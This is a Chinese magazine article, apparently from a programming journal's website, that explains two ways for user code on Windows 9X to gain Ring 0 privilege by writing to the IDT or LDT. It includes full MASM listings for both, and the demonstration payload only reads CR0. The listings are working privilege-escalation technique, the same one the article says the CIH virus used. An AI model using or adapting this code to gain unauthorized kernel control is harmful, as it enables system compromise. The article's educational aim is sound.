你好,欢迎来到电脑编程技巧与维护杂志社! 杂志社简介广告服务读者反馈编程社区  
合订本订阅
 
 
您的位置:杂志经典 / 编程语言
Windows 9X中取得0环控制权的方法
 

  :本文介绍了在Windows 9X下取得Ring 0控制权的两种未公开的方法,提供了用汇编语言编写的例子。这是利用了下列事实,Win9X中的重要的系统表没有一个是位于禁止低优先级实体访问的页面上。

关键字:操作系统  80x86  优先级  0

 

    保护模式和操作系统内部的基本知识请参考文献[1][2]。本文描叙的技术不是一个特别好且清晰的获取高优先级的方法。但是它们只需很小的代码开销,有时用它们比用一个完全的VxD实现更为可行。

一、概述

    在所有现代操作系统中,CPU运行于保护模式,充分利用这种模式的特性实现虚拟内存、多任务等。为了管理对系统临界资源的访问(提供系统稳定性),一个操作系统需要优先级的支持,这样一个程序不能仅仅交换出保护模式。在80386及后续的CPU中,优先级的概念用环(Ring)来表示。0(Ring 0)代表最高优先级,3(Ring 3)代表最低优先级。理论上说,x86系列CPU具有4级优先级,但Win32仅仅使用了其中两个。这是由于RISC类型的CPU仅有两级优先级,为了使Win32能移植到 RISC芯片,因此在80x86中也只用了两级。Ring 0表示核心态,而Ring 3表示用户态。

    由于绝大部分的应用程序是不需要直接去0环的,公开的唯一方法是使用0环的子程序,这在Win 9X中是通过VxD技术。虽然VxD技术是稳定的且被推荐的方法,但是它需要专门编写,并且它的开销大。因此在某些特殊情况下,用别的方法进入0环是更有效的。

    CPU用两种方法处理优先级转换:通过意外/中断;通过调用门(Callgate)。调用门可能放在局部描述符表LDT或全局描述符表GDT中。中断门放在IDT表中。我们可以利用Win9X的漏洞,这些重要的系统表(IDTLDTGDT)可以在3环下被自由修改。注意,在Windows NT中这种方法是不行的。

二、IDT

    前一段时间肆虐的CIH病毒就是通过修改IDT表来获得系统控制权的(参考文献[3])。当一个意外发生或一个中断触发时,CPUIDT表中找到相应的描述符而转移控制。这个描述符包含控制将转移到的段选择子及偏移量。

一个中断门描述符具体结构如下:

63                         48 47                                  32

 偏移量高字(31-16

 P

DPL

DPL

 0

 1

 1

 1

 0

 0

 0

 0

 R

 R

 R

 R

 R

 段选择子

 偏移量的低字(15-0

    31                              16 15                              0

DPL2位,表示描述符的优先级(Descriptor Privilege Level)

P:存在(Present)位。P=1表示描述符对地址转换是有效的,或者表示该描述符所描述的段存在;P=0表示描述符对地址转换无效,并且使用该描述符会引起异常。

R:保留(Reserved)

    015位为意外处理程序地址(32)的低16位,第4863位为意外处理程序地址的高16位。第1631位为处理程序所在段的选择子。第3247位确定了此描述符为中断门,包括它的优先权和存在位。

    下面是使用IDT表进入0环的方法:

1         首先新建一个中断门,它指向用户的欲在0环运行的过程。

2         保存一个旧的中断门,用刚才新建的去替换它。

这样当用户触发那个旧中断时,CPU将执行用户编写的欲在0环运行的代码,而不会将控制权传递给Windows自己的处理程序。

3         当用户的欲在0环运行的代码执行完毕,应恢复旧的中断门。

Win9X中,选择子0028H总是指向0环的代码段(4GB的地址空间),用它作为段选择子。由于用户是从3环开始调用,则DPL应设置为3。另外,存在位也必须置位。因此,第3247位应该为1110111000000000B,即EE00H。这些值能够在用户的程序中设置为常量。用户只需将用户的0环过程的偏移量赋予描述符即可。

选择被替换的中断时,应该首先选择那些很少发生的。因此不要用INT 14H,不妨选择INT 9H

1

-------------------------------- bite here.386P

.MODEL FLAT, STDCALL

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc    ;用了API函数ExitProcess

includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc      ;用了MessageBoxA,wsprintfA

includelib \masm32\lib\user32.lib

wsprintfA proto C :DWORD,:DWORD,:VARARG

wsprintf TEXTEQU <wsprintfA>

.data

buffer          db  10h dup (?)

template        db  "%1x",0

IDTR        df 0            ;接收IDTR寄存器的内容(6字节)

SavedGate   dq 0            ;保存被替换门的地址(8字节)

OurGate     dw 0            ;偏移量的低字

            dw 028h         ;段选择子

            dw 0EE00h       ;属性

            dw 0            ;偏移量的高字

MsgCaption1   db "进入0环前,寄存器EAX",0

MsgCaption2   db "0环出来后,EAX的值等于CR0的值,为",0

.code

Start:

      mov      eax, offset Ring0Proc

      mov      [OurGate], ax              ; 将用户欲在0环运行过程

      shr      eax, 16                    ; 的偏移量赋给用户新建的

      mov      [OurGate+6], ax            ; 描述符OurGate

      sidt     fword ptr IDTR          ; 存储中断描述符表寄存器到变量IDTR中,

                                          ; 低字为界限,高双字为基地址。

      mov      ebx, dword ptr [IDTR+2]    ; 装入IDT表的基地址。

      add      ebx, 8*9                   ; 此时EBX中为INT 9描述符的地址。

      mov      edi, offset SavedGate     

      mov      esi, ebx

      movsd                               ; 保存旧的INT 9描述符

      movsd                               ; 到SavedGate中去。

      mov      edi, ebx

      mov      esi, offset OurGate

      movsd                               ; 替换INT 9的旧描述符为用户新建的。

      movsd                              

      invoke wsprintf,addr buffer,addr template,eax

      invoke MessageBox,NULL,addr buffer,addr MsgCaption1,MB_OK

      int      9h                         ; 触发中断,将控制权传递给用户的

                                          0环过程。

      invoke wsprintf,addr buffer,addr template,eax

      invoke MessageBox,NULL,addr buffer,addr MsgCaption2,MB_OK

      mov      edi, ebx

      mov      esi, offset SavedGate

      movsd                               ; 恢复旧INT 9的描述符。

      movsd

      invoke ExitProcess, NULL

Ring0Proc PROC

      ;此过程代码在0环下运行

      mov      eax, CR0                   ;控制寄存器的数据传送为特权指令

      iretd

Ring0Proc ENDP

end Start

-------------------------------- bite here

三、LDT

    另一种执行0环代码的方法是安装调用门(Callgate)LDTGDT中去。在Win9X中,使用LDT稍微简单一点。因为LDT表中的前16个描述符总是空的,只要给这些描述符加代码即可。调用门与中断门类似,通过一条CALL指令,用于将控制权从低优先级段传递到高优先级段。

一个调用门描述符结构如下:

其中:DWC:双字计数器,表明复制到0环栈的参数个数

      P:存在(Present)

      DPL2位,表示描述符的优先级(Descriptor Privilege Level)

63                             48 47                                  32

 偏移量高字(31-16

 P

DPL

DPL

 0

 1

 1

 0

 0

 0

 0

 0

 0

DWC

DWC

DWC

DWC

 段选择子

 偏移量的低字(15-0

    31                              16 15                                  0

LDT段描述符描述任务的局部描述符表段,它必须安排在全局描述符表GDT中才有效。一个LDT段描述符的格式如下:

其中:G:段界限的粒度。G=0表示界限粒度为字节,G=1表示粒度为4K

      X:未使用

      DD=1为默认值,指明指令是32位的;D=1则为16/8位的

      AVL:软件可利用位,INTEL未定义

      DT:描述符类型,DT=1表示存储段,DT=0表示系统段

63              55                                  40               32

 段基地址(31-24

 G

 X

 0

AVL

 段界限 (19-16)

 P

DPL

DPL

 DT

 存储段属性

 段基地址(23-16

 段基地址(15-0

 段界限(15-0

    31                              16 15                                  0

    用户要做的就是建立一个调用门,将它写入开始16个描述符(015)中的任意一个,然后执行对那个描述符的一个远程调用,这样就执行了用户自己的0环代码。

2

-------------------------------- bite here

.386P

.MODEL FLAT, STDCALL

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib

wsprintfA proto C :DWORD,:DWORD,:VARARG

wsprintf TEXTEQU <wsprintfA>

.data

buffer          db  10h dup (?)

template        db  "%1x",0

GDTR        df 0            ;接收GDTR寄存器的内容(6字节)

CallPtr     dd 00h         

            dw 0Fh          ;使用LDT表中的第1个描述符(偏移为8),

            ;且优先级为3,所以段选择子为000Fh

            ;段选择子为16位,其中最低两位为优先级,

            ;第3位为1表示选择子在LDT表中,高13位为描述符索引。

OurGate     dw 0            ; 偏移量的低字

            dw 028h         ; 段选择子

            dw 0EC00h       ; 属性

            dw 0            ; 偏移量的高字

MsgCaption1 db "进入0环前,寄存器EAX的值为",0

MsgCaption2 db "0环出来后,EAX的值等于CR0的值,为",0

.code

Start:

      mov      eax, offset Ring0Proc

      mov      [OurGate], ax              ;将用户欲在0环运行过程

      shr      eax, 16                    ;的偏移量赋给用户新建的

      mov      [OurGate+6], ax            ;描述符OurGate

      xor      eax, eax

      sgdt     fword ptr GDTR           ;存储全局描述符表寄存器到变量GDTR中,

                                          ;低字为界限,高双字为基地址。

      mov      ebx, dword ptr [GDTR+2]    ;装入GDT表的基地址到EBX

      sldt     ax                      ;将当前任务局部描述符表寄存器存入AX

      add      ebx, eax                   ;此时EBX中为LDT段描述符的首地址。

      mov      al, [ebx+4]             ;装入LDT表的首地址(即第0LDT描述符)

      mov      ah, [ebx+7]                ;的地址到EAX中。

      shl      eax, 16                   

      mov      ax, [ebx+2]               

      add      eax, 8                     ;跳过空描述符,指向第1LDT描述符。

      mov      edi, eax     

      mov      esi, offset OurGate

      movsd                               ;将用户的调用门安装到LDT中去

      movsd                              

      invoke wsprintf,addr buffer,addr template,eax

      invoke MessageBox,NULL,addr buffer,addr MsgCaption1,MB_OK

      call     fword ptr [CallPtr]        ;执行第1LDT描述符指向的0环过程

      invoke wsprintf,addr buffer,addr template,eax

      invoke MessageBox,NULL,addr buffer,addr MsgCaption2,MB_OK

      xor      eax, eax                   ;清除刚安装的LDT描述符。

      sub      edi, 8 

      stosd

      stosd

      invoke   ExitProcess, NULL

Ring0Proc PROC

      ;此过程代码在0环下运行

      mov      eax, CR0                   ;控制寄存器的数据传送为特权指令

      retf

Ring0Proc ENDP

end Start

-------------------------------- bite here

四、附加说明

    本文所举的两个例子已在Pentium 133/Windows 98/MASM32下调试通过。MASM32提供了一个较好的汇编语言集成开发环境Quick Editor(qeditor.exe),它实际上调用的都是Microsoft的汇编器和链接器。我们用的Quick Editor版本为1.6,汇编器(ml.exe)6.14.8444版,链接器(link.exe)5.12.8078版。调试工具可用UR软件公司的W32Dasm V8.9版。

    MASM32中的setini.exe用来设置Quick Editor所调用的工具、帮助、工程的路径,将信息保存在qeditor.ini里。为了能在计算机不同的驱动器上访问这些工具,应将qeditor.ini中的文件路径加上驱动器名,使得配置中的相对路径(缺省的)成为绝对路径。另外,qeditor.exeproject菜单中的菜单项是调用了\masm32\bin\中的相应批处理文件,如Link OBJ File菜单项就调用了lnk.bat文件,这些批处理文件也需要修改,使所用工具的路径加上盘符。在用户编写的程序中,如果用到了*.inc,*.lib文件,也须设置路径。注意Quick Editor还不能正确识别象My Documents等目录名。由于缺省设置都是相对当前驱动器的,因此,较简单的方法是将用户编写的程序与MASM32放在同一盘中,当然不必是同一目录。

    上机过程如下:用qeditor.exe编辑一个以asm结尾的文本文件,保存,再装入。点击菜单project => Assamble ASM File,将asm文件汇编成obj文件。点击菜单project=>Link OBJ File,obj文件链接成exe文件。

    本文的两个例子演示了在准备进入0环前EAX的值,及刚出0环后EAX的值。此时EAX中为控制寄存器CR0的值,此值只能在0环得到,说明已去了0环。

参考文献:

[1] 周明德,《保护方式下的80386及其编程》,北京:清华大学出版社,199312

[2] 杨季文等,《80x86汇编语言程序设计教程》,北京:清华大学出版社,19986

[3] CIH virus & Stone's example sourcehttp://www.cracking.net.

  推荐精品文章

·2024年9月目录 
·2024年8月目录 
·2024年7月目录 
·2024年6月目录 
·2024年5月目录 
·2024年4月目录 
·2024年3月目录 
·2024年2月目录 
·2024年1月目录
·2023年12月目录
·2023年11月目录
·2023年10月目录
·2023年9月目录 
·2023年8月目录 

  联系方式
TEL:010-82561037
Fax: 010-82561614
QQ: 100164630
Mail:gaojian@comprg.com.cn

  友情链接
 
Copyright 2001-2010, www.comprg.com.cn, All Rights Reserved
京ICP备14022230号-1,电话/传真:010-82561037 82561614 ,Mail:gaojian@comprg.com.cn
地址:北京市海淀区远大路20号宝蓝大厦E座704,邮编:100089